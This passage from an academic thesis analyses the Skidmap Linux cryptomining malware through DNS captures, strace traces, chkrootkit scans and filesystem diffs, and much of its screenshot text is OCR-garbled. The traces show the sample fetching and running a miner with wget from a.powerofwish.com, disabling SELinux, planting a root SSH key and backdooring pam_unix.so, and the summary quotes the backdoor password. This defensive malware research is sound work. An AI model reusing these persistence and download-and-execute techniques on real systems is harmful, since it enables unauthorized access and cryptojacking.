0	🖌 Ну	/perte	xt Tra	nsfer Pi	rotoc	col: Pro	tocol				Pack	(ets: (512 ·	Displa	yed:	5 (0.	8%)	Dro	pped:	0 (0.0)%)	Pro	ofile: D	Defa	ult	
							Fic	ure	5.3	3.5	- D	ownl	oadii	1a "co	085	tar.o	z"									

The figure below illustrates the connections made to the alternate cryptocurrency wallet and pool. This was the case where the system had more than 13.8GB of available RAM memory, thus the sample proceeded with the selection of the "Monero" cryptocurrency (Figure 5.3.3.6).

								*(eth1						-		•	×
<u>F</u> ile	<u>E</u> dit	<u>V</u> iew <u>G</u> o	<u>C</u> apture	<u>A</u> nalyze	<u>S</u> tatis	tics T	elephor	n <u>y W</u> ir	eless <u>T</u> ool	s <u>H</u> elp								
			0103 0110 0110	8	Q	۰	۱	•	₹		⊕ Q							
d	ns															×I⇒	•	+
No.	Т	ime	Source			Destin	ation		Protocol	Length	Info							
	21	.15576753	1 10.0.0	0.6		10.0.0	9.1		DNS	77	Standa	rd querv	/ 0x0e80 A	a.powe	rofwis	sh.co	m	
	31	.15578119	3 10.0.0	0.6		10.0.0	9.1		DNS	77	Standa	rd query	/ 0x0084 A	AAA a.p	owerot	fwish	1.CO	m
	41	.16252531	4 10.0.0	9.1		10.0.0	9.6		DNS	93	Standa	rd quer	y response	0x0e80	A a.p	oower	ofw	ish.
	51	.16683773	8 10.0.0	9.1		10.0.0	9.6		DNS	77	Standa	rd query	/ response	e 0x0084	AAAA	a.po	wer	ofwi
	533 3	.98526745	7 10.0.0	9.6		10.0.0	9.1		DNS	78	Standa	rd query	y 0x3da2 A	\ info.o	nlinet	talk.	tk	
	534 3	.99271705	1 10.0.0	9.1		10.0.0	9.6		DNS	94	Standa	rd query	y response	e 0x3da2	A inf	fo.or	lin	etal
	543 4	.35273127	0 10.0.0	0.6		10.0.0	9.1		DNS	80	Standa	rd query	y 0xc280 A	xmr.cp	uminer	rpool	co	m
	544 4	.35987705	8 10.0.0	9.1		10.0.0	9.6		DNS	96	Standa	rd query	/ response	0xc280	Axm	r.cpu	Imin	erpo
	547 5	.01240023	5 10.0.0	9.6		10.0.0	9.1		DNS	93	Standa	rd query	y 0x9fa0 A	r1.goo	gleblo	ockch	ain	tech
	548 5	.01968524	9 10.0.0	9.1		10.0.0	9.6		DNS	109	Standa	ra query	/ response	е охутас	A r1.	. goog	тер	тоск
	5/1 8	.30283740	3 10.0.0	9.0		10.0.0	9.1		DNS	80	Standa	ra query	y ⊎x35C5 A	A XMIL.CD	uminer	poor		m
	5/2 8	.37042409	4 10.0.0	9.1		10.0.0	9.0		DNS	90	Standa	ra query	y response	0X35C5	AXIII	.cpu	INTU	erpo
	201 0	.39138879	6 10.0.0	9.0		10.0.0	9.1 2.1		DNS	80	Standa	ru query	/ UX724C /	A XIIIF.CP	uminer	poor		
	202 0	.39140380		9.0		10.0.0	9.1 2.6		DNS	00	Standa	ru querg	Y UX/SIC P		. cpuill	Liner p	DOOL	. COIII
	503 0	10200722	0 10.0.0	9.1 0.1		10.0.0	5.0		DNS	90	Standa	rd querg	rosponse /	0x7240		.cpu	CDU	mino
	500 1	3 0050656	5 10.0.0 10 10 0 0	0.6		10.0.0	9.0 9.1		DNS	78	Standa	rd query	/ Oxb811 /	info i	nfswal	Ann -	t v	штпе
	591 1	4 0026950	17 10 0 0	0.1		10 0 0	2.6		DNS	94	Standa	rd query	/ response	0xh811	Δ inf	fo in	fsw	alle
4	001 1	410020000	17 10.0.0			10.0.0			Dito	04	ocunau	a quer	, response	, oxborr		0.17	1 0 1	
,																		
\bigcirc	🗹 wi	reshark_et	h1_235_a	2pR4X.pca	apng F	Packets	: 607 ·	Display	ed: 18 (3.0%	6) · Sele	cted: 4 (0.7%) · C	ropped: 0	(0.0%)	Profile	e: Def	ault	

Figure 5.3.3.6 – "pamdicks.org" DNS requests

5.3.4 Strace

While it is debatable whether "strace" can be categorized as a behavioral analysis tool or a tool for dynamic code analysis, it is believed that it would be preferable if the findings of its usage were presented in the current section.

The tool that was used to record the system calls produced by the samples execution was "strace", and the exact command was:

\$ sudo strace -o strace_out.txt ./f005c2a40cdb4e020c3542eb51aef5bac0c87b4090545c741e1705fcbc8ca120

To additionally view the system calls produced by child processes the "-f" parameter must be added:

\$ sudo strace -o strace_out.txt -f ./f005c2a40cdb4e020c3542eb51aef5bac0c87b4090545c741e1705fcbc8ca120

Between two consecutive executions of "strace" the system should be restored to a previous state since system changes were made on each execution.

After using the "strace" tool on the "Ubuntu" VM, the "strace_out.txt" file was inspected. In the beginning of the file, the system calls required for unpacking and executing the sample were found.



Figure 5.3.4.1 – "pam_unix.so", "SELinux" and "authorized_keys" related system calls

Then, the "pam_unix.so" was located inside "lib/x86_64-linux-gnu/security/pam_unix.so" folder and several bytes ("binarypam") were written inside, replacing the original contents. The timestamp of the file was changed to "2012-02-22T20:26:37-0500". Additionally, the files "/usr/sbin/setenforce", "/sbin/setenforce" and "/etc/selinux/config" were not found as "SELinux" is not enabled/installed by default on "Ubuntu 20.04". The "/root/.ssh" was created and the "ssh-rsa" key

was stored in "/root/.ssh/authorized_keys". Furthermore, when the "/usr/bin/chattr" was found, a new child process was created (Figure 5.3.4.1). The calls that were traced on the child processes were renaming the "/usr/bin/chattr" to "/usr/bin/t" and setting the immutable filesystem attribute to the "root/.ssh/authorized_keys" file that was earlier created (Figure 5.3.4.2).



Figure 5.3.4.2 – Tracing "chattr" related system calls

Since "strace" was executed on a Debian-based OS, "/etc/centos-release" and "/etc/redhatrelease" could not be located, and since the sample had not been previously executed in this system, the miner binary was not yet downloaded. Thus, the malware tried to find the right tool to download it. The searching process stopped when "/usr/bin/wget" was found (Figure 5.3.4.3).



Figure 5.3.4.3 – Fingerprinting OS and searching for a way to download "miner2"

With the use of "wget" the miner was downloaded and saved to "/tmp/miner2", its permissions were modified to "-rwer-er-e" and finally, it was executed (Figure 5.3.4.4). Since the Debian-based systems were downloading "miner2", the "/user/bin/kaudited" could not be found and the program was exited.

Linux Malware Analysis – A Skidmap case study

.,∓1	amaryllis@soxband: ~/Downloads	Q	≡			×
9509 dptr= 9509	<pre>clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID CLONE_CHILD_SE 0x7f37ac025850) = 9510 wait4(-1</pre>	TTID	SIGC	HLD,	child	_ti
9510 iner2	<pre>execve("/usr/bin/wget", ["wget", "-c", "http://a.powerofwish.com/"], 0x563feeea4998 /* 17 vars */) = 0 beb("uul) </pre>	miner	-2.",	"-0",	, "/tm	ıp/m
9510 9510	arch_prctl(0x3001 /* ARCH_??? */, 0x7ffd280926c0) = -1 EINVAL (In	valid	d arg	ument	t)	
9509 dptr=	<pre>clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID CLONE_CHILD_SE 0x7f37ac025850) = 9511 wait4(-1</pre>	TTID	SIGO	HLD,	child	l_ti
9511 = 0	execve("/usr/bin/chmod", ["chmod", "755", "/tmp/miner2"], 0x563fe	eea4	7a0 /	* 17	vars	*/)
9509 dptr= 9509	clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID CLONE_CHILD_SE 0x7f37ac025850) = 9512 wait4(-1. wnfinished> 	TTID	SIGC	HLD,	child	l_ti
9.512	execve("/tmp/miner2", ["/tmp/miner2"], 0x563feeea4760 /* 17 vars	*/) =	= 0			

Figure 5.3.4.4 – Tracing "miner2" related system calls

The first part of the "strace" output included the modification of "pam_unix.so", the lessening of security level, the creation of "ssh-rsa" key and the renaming of "chattr" command to "t" which matched the findings of "Code Analysis" (Figure 5.3.4.5).

```
skd_strace.out [Read-Only]
  Open 👻
            Æ
                                                                                   Save
                                                                                           ≡
                                                                                                      ×
                                                    /Skidn
sa restorer=0x456f80}, {sa handler=SIG DFL, sa mask=[], sa flags=0}, 8) = 0
rt sigprocmask(SIG BLOCK, [CHLD], [], 8) = 0
clone(child_stack=NULL, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0x7ffd37e72f3c) = 5677
wait4(5677, [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0, NULL) = 5677
rt sigaction(SIGINT, {sa handler=SIG DFL, sa mask=[], sa flags=SA RESTORER, sa restorer=0x456f80},
NULL, 8) = 0
rt_sigaction(SIGQUIT, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER,
sa_restorer=0x456f80}, NULL, 8) = 0
rt sigprocmask(SIG SETMASK, [], NULL, 8) = 0
--- SIGCHLD {si signo=SIGCHLD, si code=CLD EXITED, si pid=5677, si uid=0, si status=0, si utime=0,
si stime=0} ---
access("/etc/selinux/config", F_OK)
                                            = 0
open("/etc/selinux/config", 0_RDWR|0_TRUNC) = 3
write(3, "SELINUX=disabled\n", 17)
write(3, "SELINUXTYPE=targeted\n", 21)
                                            = 17
                                           = 21
                                            = 0
close(3)
utime("/etc/selinux/config", {actime=1329960397 /* 2012-02-23T03:26:37+0200 */, modtime=1329960397 /* 2012-02-23T03:26:37+0200 */}) = 0
open("/root/.ssh", 0 RDONLY|0 NONBLOCK|0 CLOEXEC|0 DIRECTORY) = -1 ENOENT (No such file or
directory)
mkdir("/root/.ssh", 0700)
                                            = 0
open("/root/.ssh/authorized_keys", 0_RDWR|0_CREAT|0_TRUNC, 0600) = 3
write(3, "ssh-rsa AAAAB3NzaC1yc2EAAAADAQAB"..., 395) = 395
close(3)
                                            = 0
access("/usr/bin/chattr", X OK)
                                            = 0
rt sigaction(SIGINI, {sa handler=SIG IGN, sa mask=[], sa flags=SA RESTORER, sa restorer=0x456f80},
{sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER, sa_restorer=0x456f80}, 8) = 0
          ian/CTCOUTT
                       -fee bandlas-CTC-TCN--
                                                                        A DECTADED
                                                        Plain Text 👻 Tab Width: 8 👻
                                                                                      Ln 44, Col 15
                                                                                                          INS
                                                                                                     •
```

Figure 5.3.4.5 – Viewing the first part of the "strace" output

When a "CentOS" release was identified, its exact version was fetched, and the corresponding file was firstly checked for existence prior its download via "curl" to the "/usr/include" directory (Figure 5.3.4.6).

Open → B skd_strace.out [Read-Only] 		×
pen("/etc/centos-release", 0_RDONLY) = 3		
ead(3, " <u>CentOS Linux release 7.7.190</u> 8 (C", 255) = 37		
hdir("/usr/include") = 0		
ccess("/usr/include/cos7.tar.gz", F_OK) = -1 ENOENT (No such file or directory)		
$ccess("/usr/bin/curl", F_OK) = 0$		~ 1
T sigaction(SIGIN), {sa nandler=SIG_IGN, sa mask=[], sa Tlags=SA RESIORER, sa restorer=0x4	5618	0},
sa nandter=SIG_DFL, sa mask=[], sa ttags=SA RESIDRER, sa restorer= $0x450t80$, 8) = 0		
L_SIGACLION(SIGUUI), {Sa_nanoter=SiG_LGN, Sa_mask=[], Sa_itags=SA_RESIDRER,		
a_restorer=0x456f901_01_0_0		
lone(child stack=NULL flags=CLONE PARENT SETTIDISTGCHLD_parent tidptr=Av7ffd37e72d7c) =	5680	
$a_1 = a_2 = a_1 = a_2 = a_2 = a_2 = a_1 = a_2 $	5000	
t sigaction(SIGINT, {sa had]er=SIG_DEL, sa mask=[], sa flags=SA_RESTORER, sa restorer=0x4	56f8	0}.
U(L) = 0		-,,
t sigaction(SIGQUIT, {sa handler=SIG DFL, sa mask=[], sa flags=SA RESTORER,		
a restorer=0x456f80}, NULL, 8) = 0		
T_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0		
SIGCHLD {si signo=SIGCHLD, si code=CLD EXITED, si pid=5680, si uid=0, si status=0, si u	time	=0,
i_stime=4}		
ccess("/usr/include/cos7.tar.gz", F_OK) = 0		
hdir("/usr/include") = 0		

Figure 5.3.4.6 – Viewing the "CentOS" specific system calls

However, when the MD5 hash of "/usr/bin/kaudited" was calculated, the program looped back to the OS fingerprinting stage (Figure 5.3.4.7). This was most probably due to a mismatch between the hardcoded strings and the calculated checksum. This loop was continuously triggered which resulted with the sample malfunctioning and not being able to achieve persistence and continue with the execution of the rest of the code.

Open 👻 🖭	skd_strace.out [Read-Only] ~/Skidmap	Save = _	×
ctose(3)	= U		
access("/usr/bin/kaudited", F_OK)	= 0		
nanosleep({tv_sec=1, tv_nsec=0}, 0x7f	d37e73160) = 0		
pipe2([3, 4], 0_CLOEXEC)	= 0		
<pre>clone(child_stack=NULL, flags=CLONE_C</pre>	HILD_CLEARTID CLONE_CHILD_SE	TTID SIGCHLD,	
child_tidptr=0x118eb50) = 5771			
close(4)	= 0		
<pre>fcntl(3, F_SETFD, 0)</pre>	= 0		
<pre>fstat(3, {st_mode=S_IFIF0 0600, st_si</pre>	ze=0,}) = 0		
read(3, "2803107a11f76ff279dc0802cb14	d0b8", 4096) = 52		
SIGCHLD {si_signo=SIGCHLD, si_cod	e=CLD_EXITED, si_pid=5771, si	i_uid=0, si_status=0,	
<pre>si_utime=1, si_stime=0}</pre>			
close(3)	= 0		
<pre>wait4(5771, [{WIFEXITED(s) && WEXITST</pre>	ATUS(s) == 0}], 0, NULL) = 57	771	
<pre>open("/etc/centos-release", 0_RDONLY)</pre>	= 3		
read(3, "CentOS Linux release 7.7.190	8 (C", 255) = 37		
chdir("/usr/include")	= 0		
access("/usr/include/cos7.tar.gz", F_	OK) = -1 ENOENT (No such file	e or directory)	
access("/usr/bin/curl", F_OK)	= 0		
Figure 5.3.	.4.7 – Viewing the infinite code loopi	ng	

Last, during the behavioral analysis via "strace" on the "CentOS" VM, it was observed how the other downloaded files differentiated the execution flow. Instead of proceeding with the calculation of "kaudited" MD5 hash, the program was terminated similarly to "Debian" VM (Figure 5.3.4.8). The cause of the termination lies to the "install.sh" script of "cos8.tar.gz" where the "kaudited" file is renamed to "systemd-udeved" prior being moved to the "/user/bin" directory.

Open	ly] Save ≡ ×				
<pre>rt_sigaction(SIGINT, {sa_handler=SIG_IGN, sa_mask=[], sa_f {sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER, sa_ rt_sigaction(SIGQUIT, {sa_handler=SIG_IGN, sa_mask=[], sa_ sa_restorer=0x456f80}, {sa_handler=SIG_DFL, sa_mask=[], sa sa_restorer=0x456f80}, 8) = 0 rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0 clone(child_stack=NULL, flags=CLONE_PARENT_SETTID SIGCHLD, wait4(58381, [{WIFEXITED(s) && WEXITSTATUS(s) == 0}], 0, N rt_sigaction(SIGINT, {sa_handler=SIG_DFL, sa_mask=[], sa_f NULL, 8) = 0</pre>	<pre>lags=SA_RESTORER, sa_restorer=0x456f80}, restorer=0x456f80}, 8) = 0 flags=SA_RESTORER, _flags=SA_RESTORER, parent_tidptr=0x7ffc884f053c) = 58381 ULL) = 58381 lags=SA_RESTORER, sa_restorer=0x456f80},</pre>				
rt_sigaction(SIGQUIT, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=SA_RESTORER,					
<pre>rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0 SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid= si utime=36, si stime=0}</pre>	58381, si_uid=0, si_status=0,				
close(3) = 0					
access("/usr/bin/kaudited", F_OK) = -1 ENOENT (No su	ch file or directory)				
exit_group(0) = ?					
+++ exited with 0 +++					
Plain Text	Tab Width: 8 Ln 154, Col 10 INS				

Figure 5.3.4.8 – Failing to locate "/usr/bin/kaudited" file on "CentOS" v8

5.3.5 chkrootkit

In the code analysis of "skidmap" sample multiple persistence and hiding techniques were encountered, including the replacement of Native Linux system files with "backdoored" ones and the installation of CA certificates. Therefore, the use of "chkrootkit" tool was considered as a choice to evaluate which of the implemented techniques could be detected.

After the installation of "chkrootikit" and its dependencies, it was executed with "root" privileges:

• \$ sudo ./chkrootkit

This verified that the system was not infected, and it could potentially prevent an investigation of a false positive indication. The output was clear of infections and therefore the malicious sample was executed prior repeating the "chkrootkit" scan.

ſŦ		amaryllis@soxband: ~/Downloads/chkrootkit-0.54 🔾 😑 🗕 🗆 🤇	
	amaryl	lis@soxband: ~/Downloads × amaryllis@soxband: ~/Downloads/chkroo × 🚽	
Searchi Searchi Searchi Searchi Searchi Searchi Searchi	ng for ng for ng for ng for ng for ng for	Linux/Ebury - Operation Windigo ssh nothing found 64-bit Linux Rootkit nothing found 64-bit Linux Rootkit modules nothing found Mumblehard Linux nothing found Backdoor.Linux.Mokes.a nothing found Malicious TinyDNS nothing found Linux.Xor.DDoS INFECTED: Possible Malicious Linux.Xor.DDoS installed	ł
Searchi Searchi Searchi Searchi Searchi Searchi	ng for ng for ng for ng for ng for ng for ng for	Linux.Proxy.1.0 nothing found CrossRAT nothing found Hidden Cobra nothing found Rocke Miner nothing found PWNLNX4 lkm nothing found PWNLNX6 lkm nothing found suspect PHP files nothing found	

Figure 5.3.5.1 – Applying "chkrootkit" on "Ubuntu" VM

On the "Ubuntu" VM, the only possible threat that was reported was the execution of "tmp/miner2". Upon further investigation, it was concluded that when "chkrootkit" searches for

"Linux.Xor.DDoS" evidence, it reports all the executables that reside on "/tmp" directory. Therefore, while the cryptocurrency miner was identified, it may be considered as a false positive indication regarding the existence of "Linux.Xor.DDoS" (Figure 5.3.5.1).

				amaryllis(@soxba	and:~	/chkro	ootkit	t-0.54			-		×
File	Edit	View	Search	Terminal	Tabs	He	lp							
am	aryllis	@soxt	o ×	amaryll	is@sox	:b		am	aryllis	@soxb.	×		Æ	•
Searc Searc Check Check Check You h chkpr chkdi Check /proc enp0s virbr Check	ching ching ching cing cing cing coc: crs: cing c/1/f c3: n c0: n cing	for for `binc `lkm' <u>327</u> Warni nothi `rexe `snif d/162 ot pr ot pr `w558	PWNLNXG suspect anomal: no ishell' You / proces ing: Pos edcs' fer' 2: No su comisc a comisc a 308'	5 lkm t PHP fi ies in s t infect not u have ss hidde ssible L ected . not fo . /proc/ uch file and no P not inf	noth: les hell H ed <u>327 p</u> n for KM Tro und 1/fd/: or d: F_PACH F_PACH ected	ing . no hist ted proc ps ojan 139: irec KET KET	found othing ory f comma comma comma inst No s ctory socke socke	d g fo file hidd and tall such ets ets	und s en fo ed file	nothi <u>r rea</u> or d	ng f	cor	d mmano	<u>1</u>
			Figure 5	.3.5.2 – Ap	plying	"chkr	rootkit"	' on "I	Nethse	rver" V	'M			

When "chkrootkit" was used to scan the "Nethserver" or "CentOS" VM, though, a warning for a possible LKM Trojan made its appearance based on the existence of hidden (from "readdir" and "ps" commands) processes. On the "Nethserver" VM, the number of those processes was significantly higher than of those on "CentOS" VM (Figure 5.3.5.2 & Figure 5.3.5.3).

amaryllis@soxband:~/Downloads/chkrootkit/chkrootkit-0.54	×
File Edit View Search Terminal Tabs Help	
amaryllis@soxband:~/Downloads/ × amaryllis@soxband:~/Downloads/ × 🖪	•
Searching for Linux.Proxy.1.0 nothing found Searching for CrossRAT nothing found Searching for Hidden Cobra nothing found Searching for Rocke Miner nothing found Searching for PWNLNX4 lkm nothing found Searching for PWNLNX6 lkm nothing found Searching for suspect PHP files nothing found Searching for anomalies in shell history files nothing found Checking `asp' not infected Checking `bindshell' not infected Checking `lkm' You have <u>12 process hidden for readdir command</u> You have <u>12 process hidden for ps command</u> chkproc: Warning: Possible LKM Trojan installed chkdirs: nothing detected Checking `rexedcs' not found Checking `sniffer' enp0s3: PF_PACKET(/usr/sbin/NetworkManager (deleted virbr0: PF_PACKET(/usr/sbin/NetworkManager (deleted)) Checking `w55808' not infected	
Checking wted' chkwtmp: nothing deleted Figure 5.3.5.3 - Applying "chkrootkit" on "CentOS" VM	

5.3.6 Filesystem analysis

The filesystem analysis was achieved though Linux Native commands [99], As Unix provides multiple tools to analyze the file system.

To identify the additions and removals from the system, the total files of the system were saved prior and post the execution of the sample. Consequently, the outputs were compared using the "diff" command.

The command prior to the execution was:

• \$ sudo find / | grep -v '^/proc' > snapshot1

The commands that were used to capture another snapshot and compare them, were:

- \$ sudo find / | grep -v '^/proc' > snapshot2
- \$ diff -crB snapshot1 snapshot2 > changes

To filter out the important information the below command was used:

• \$ grep -e '^+' -e '^-' -e '^!' changes

Due to the vast amount of data provided by the tools, it is not physically possible to illustrate all the changes in this thesis and due to the similarity of the findings (especially between CentOS versions) it was decided to present the modifications that were captured at "Nethserver" VM (CentOS v7) which were evaluated to be of high importance . The addition of the LKMs, the creation of the "ssh-rsa" key, as well as the renaming of "/usr/bin/chattr" to "/usr/bin/t" (Figure 5.3.6.1) are evident.

<pre>File Edit View Search Terminal Help + /run/bioset + /run/udev/data/+module:cryptov2 + /run/udev/data/+module:netlink + /run/udev/data/+module:iproute + /run/systemd/journal/streams/7:127214 + /run/systemd/journal/streams/7:127213 - /etc/pam.d/pluto ! /root/kaudited.rep/idata ! /root/kaudited.rep/idata/00 ! /root/kaudited.rep/idata/00/~00000000.db ! /root/kaudited.rep/idata/00/~00000000.db/db.3.gbf ! /root/kaudited.rep/idata/00/~00000000.db/db.3.gbf ! /root/kaudited.rep/idata/00/~00000000.prp ! /root/kaudited.rep/idata/00/~00000000.prp ! /root/kaudited.rep/idata/00/~00000000.prp ! /root/kaudited.rep/idata/~index.bak ! /root/kaudited.rep/user ! /root/kaudited.rep/user</pre>						amar	ryllis@soxband:~		-	×
<pre>+ /run/bioset + /run/udev/data/+module:cryptov2 + /run/udev/data/+module:netlink + /run/udev/data/+module:iproute + /run/systemd/journal/streams/7:127214 + /run/systemd/journal/streams/7:127213 - /etc/pam.d/pluto ! /root/kaudited.rep ! /root/kaudited.rep/ ! /root/kaudited.rep/idata ! /root/kaudited.rep/idata ! /root/kaudited.rep/idata/00 ! /root/kaudited.rep/idata/00/~00000000.db ! /root/kaudited.rep/idata/00/~00000000.db/db.3.gbf ! /root/kaudited.rep/idata/00/~00000000.prp ! /root/kaudited.rep/idata/00/~00000000.prp ! /root/kaudited.rep/idata/~index.bak ! /root/kaudited.rep/user ! /root/kaudited.rep/user ! /root/kaudited.rep/versioned ! /root/kaudited.rep/versioned/~index.bak ! /root/kaudited.rep/versioned/~index.bak ! /root/kaudited.rep/versioned/~index.dat ! /root/kaudited.rep/versioned/~index.dat ! /root/kaudited.rep/versioned/~index.bak ! /root/kaudited.rep/versioned/~index.bak ! /root/kaudited.rep/versioned/~index.bak ! /root/kaudited.rep/versioned/~index.bak ! /root/kaudited.rep/versioned/~index.bak ! /root/kaudited.rep/versioned/~index.bak ! /root/kaudited.rep/versioned/~index.bak ! /root/kaudited.rep/versioned/~index.bak ! /root/kaudited.rep/versioned/~index.dat ! /root/.ssh</pre>	ł	lle	Edit	View	Search	Terminal	Help			
<pre>- /var/log/pluto/peer - /usr/bin/chattr t /usr/bin/t</pre>	******	/ru /ru /ru /ru /ru /ru /ru /ru /ru /ru	in/bi in/uc	ioset lev/da lev/da lev/da vstemd vstemd vstemd am.d/p caudit	ata/+mod ata	dule:cry dule:net dule:ipr al/stread al/stread /project /idata/00	ptov2 link oute ms/7:127214 ms/7:127213 .prp 0 0/~00000000.db 0/~0000000.orp index.bak index.dat ndex.dat ed ed/~index.bak ed/~index.dat State	.3.gbf		

Figure 5.3.6.1 – Viewing the filtered "changes" file

While the previous series of commands was based on the file name to identify the additions/removals on the system, the existence of modified files could be visible by comparing their md5 checksum, which uniquely identifies them.

Before executing the sample, the following chain of commands were typed in the terminal:

\$ sudo find / -type f ! | -path '/proc*' -print0 | xargs -0 md5sum | tee md5sum.txt

To create a list of the modified files, the following commands were used:

• \$ sudo md5sum -c md5sum.txt 2> /dev/null | grep -i 'FAILED' > failed.txt

There were approximately 1600 files that failed the MD5 checking on "Nethserver" VM, hence they were altered. Among those modifications, were the files related to "SELinux" security module and the "backdoored" binaries that were installed by the sample to replace the original ones (Figure 5.3.6.2).

	amaryllis@soxband:~ _		×
File Edit View Search Terminal	Help		
[amaryllis@soxband ~]\$ sudo 1634 [amaryllis@soxband ~]\$ []	cat failed.txt wc -l		
Open 👻 🖭	failed.txt /home/amaryllis Save		×
/sys/module/nf_conntrack_ipv /sys/module/nf_conntrack_ipv /sys/module/nf_conntrack_ipv /etc/rc.d/init.d/network: FA /etc/selinux/config: FAILED /etc/ssh/ssh_config: FAILED /var/log/wtmp: FAILED /var/log/sa/sa26: FAILED /usr/bin/scp: FAILED /usr/bin/ssh: FAILED /usr/bin/chattr: FAILED open /usr/sbin/ss: FAILED	4/sections/.exit.text: FAILED 4/sections/_ksymtab_strings: FAILED 4/sections/.dataread_mostly: FAILED ILED		
	Plain Text 👻 Tab Width: 8 👻 🛛 Ln 1615, Col 37	Ŧ	INS
Figure 5.3.6.2 – V	liewing the files that failed the MD5 comparison		

5.3.7 Other Findings

Provided that the malware applied evasive techniques (especially when on a "CentOS" based distribution) it was infeasible to record all the running processes. Among the running processes, it was figured out the sample was searching for the existence of the "unhide", "sysdig" or "busybox" processes (Figure 5.3.7.1). As expected, any attempt to spawn a process that contained the keywords "unhide", "sysdig" or "busybox" on its name, resulted in an unexpected system reboot (5.2.8.4).

			Eiguro E 2 7	1 Payabling the protection mechanism
root	2768 313	120 0	21:28 ?	00:00:00 sh -c ps -ef grep busybox grep -v grep wc -l
root	2754 242	209 0	21:28 ?	00:00:00 sh -c ps -ef grep
root	2753 156	694 0	21:28 ?	00:00:00 sh -c ps -ef grep unhide grep -v grep wc -l
root	2743 94	405 0	21:28 ?	00:00:00 sh -c ps -ef grep sysdig grep -v grep wc -l
root	2742 22	568 0	21:28 ?	00:00:00 sh -c ps -ef grep sysdig grep -v grep wc -l
root	2741 196	654 0	21:28 ?	00:00:00 sh -c ps -ef grep sysdig grep -v grep wc -l
root	2740 169	981 0	21:28 ?	00:00:00 sh -c ps -ef grep unhide grep -v grep wc -l
[amaryl	lis@soxban	d ~]\$	ps -ef grep	-e 'sh' grep -e 'sysdig' -e 'unhide' -e 'busybox'

Figure 5.3.7.1 – Revealing the protection mechanism

5.4 Summary

"Skidmap" is a complex Linux malware with multiple capabilities. It provides numerous ways for the author to access to the infected system and hide its malicious activities.

First, it replaces the system's "pam_unix.so" file with its own version that uses the "Mtm\$%889*G*S3%G" authentication password. In addition, it installs an "ssh-rsa" key inside the "/root/.ssh/" folder, which is the public SSH key for root user. It also lowers the security level of the system by modifying the "/etc/selinux/config" file. The immutable attribute is removed and added several times via the "chattr" command which is renamed to "t". All the file changes are followed by a change in the access and modification time change so that it does not "raise red flags". Moreover, it gets information regarding the OS in order to download the appropriate mining software or package (Figure 5.3.7.1).



Figure 5.3.7.1 – Correlation of OS, downloaded file and "pam_unix.so" backdoor version

In case it is executed on a "CentOS-based" system, its version is of crucial importance when it comes to the contents of the downloaded packet (Figure 5.3.7.2 & Figure 5.3.7.3) and the selection of the appropriate files to install. More specifically, different versions of LKMs that hide installed files and running processes are installed, which grant the detection and disinfection processes intractable It also proceeds with routing changes and with the installation of CA certificate. Among other evasive techniques, the log files are altered and the execution of "unhide" command or "busybox" and "sysdig" software suites results in unexpected system reboots to hinder the analysis. The cryptomining software also varies depending on the system's RAM and subsequently the cryptocurrency, the mining pool and the wallet differ.

Worth mentioning is the fact that there is code which is not executed due to a failed MD5 comparison. In that part of the code, the crontab scheduler is cleared and a miner starting task is inserted. Last but not least, it attempts to remove competitive processes that may belong to a previous "Skidmap" version.



Figure 5.3.7.2 – CentOS v7 related files



Figure 5.3.7.3 – CentOS v8 related files

6 Conclusions

The development of malware cannot be eliminated. As technology invades in every aspect of our life, we become more dependent on their services. The more dependent that we become, the more profitable it is someone to attack them. In many cases it is not just an individual but state sponsored teams that perform such attacks. Thus, it is now necessary more than ever for a combined effort to understand and prevent such malicious acts.

In this thesis a modern malware that targets Linux Systems, "Skidmap", was analyzed and valuable conclusions were made, hoping to assist on this cause.

First of all, it was considered interesting the fact that the author seems to have read some of the public analysis made in previous versions of the malware and adapt to them. Specifically, it was discovered that some of the tools that are referred on a Chinese report of this malware [85] were "bugged", which means that if they were found on running processes, a reboot would instantly occur.

The direct connection to that report, the origin of the "rctl" remote control software [83] as well as the percentage of Chinese IP addresses that are associated with "Skidmap" activity [70], are indications that this malware family is of Chinese origin.

Moreover, it was observed that many open-source projects, either modified versions (miner2, rctl) of them or the original ones (upx,) are "weaponized" to serve their needs.

Also, although UPX is a packer that is easily bypassed, there are still malware that are packed by such software. Thus, it is useful to study older packers.

Lately, it is observed that this ever-increasing use of cryptocurrencies (Bitcoin, Ethereum, etc) has led into a surge in their value, and therefore they have become lucrative targets for cybercriminals. Consequently, it is estimated that there will be an outbreak of attacks related to cryptocurrencies in the near future. It is also evident, that malware developers are highly active as it was observed that this specific variant of "Skidmap" that was studied, made its appearance only four days after the "Sugar" cryptocurrency was made publicly available.

Last it was concluded that although the rise in malwares is significant over the past years, there are few cases where the sample has been written from scratch. Most of the samples in the wild, are known malwares modified for the needs of every attacker.

7 Abbreviations

ASCII	American Standard Code for Information Interchange
ASLR	Address Space Layout Randomization
AV	Antivirus
BTC	Bitcoin
CA	Certification Authority
CPU	Central Processing Unit
C2	Command and Control
DER	Distinguished Encoding Rules
DIE	Detect It Easy
DLL	Dynamic Link Library
DNS	Domain Name System
ELF	Executable and Linkable Format
FLARE	FireEye Labs Advanced Reverse Engineering
FTP	File Transfer Protocol
GB	Gigabyte
GNOME	GNU Network Object Model Environment
GNU	GNU's Not Unix
GUI	Graphical User interface
GUID	Globally Unique Identifier
GW	Gateway
HTML	HyperText Markup Language
HTTP	Hypertext Transfer Protocol
HTTPS	Hypertext Transfer Protocol Secure
ID	Identifier
IP	Internet Protocol
LKM	Linux Kernel Module
LTS	Long Term Support
MAC	Media Access Control
MB	Megabyte
MD5	Message Digest 5 algorithm
MIME	Multipurpose Internet Mail Extensions
NAT	Network Address Translation

NSA	National Security Agency
OS	Operating System
OVA	Open Virtual Appliance
PE	Portable Executable
PC	Personal Computer
RAM	Random Access Memory
RSA	Rivest–Shamir–Adleman
SAMA	Systematic Approach to Malware Analysis
SELinux	Security-Enhanced Linux
SN	Serial Number
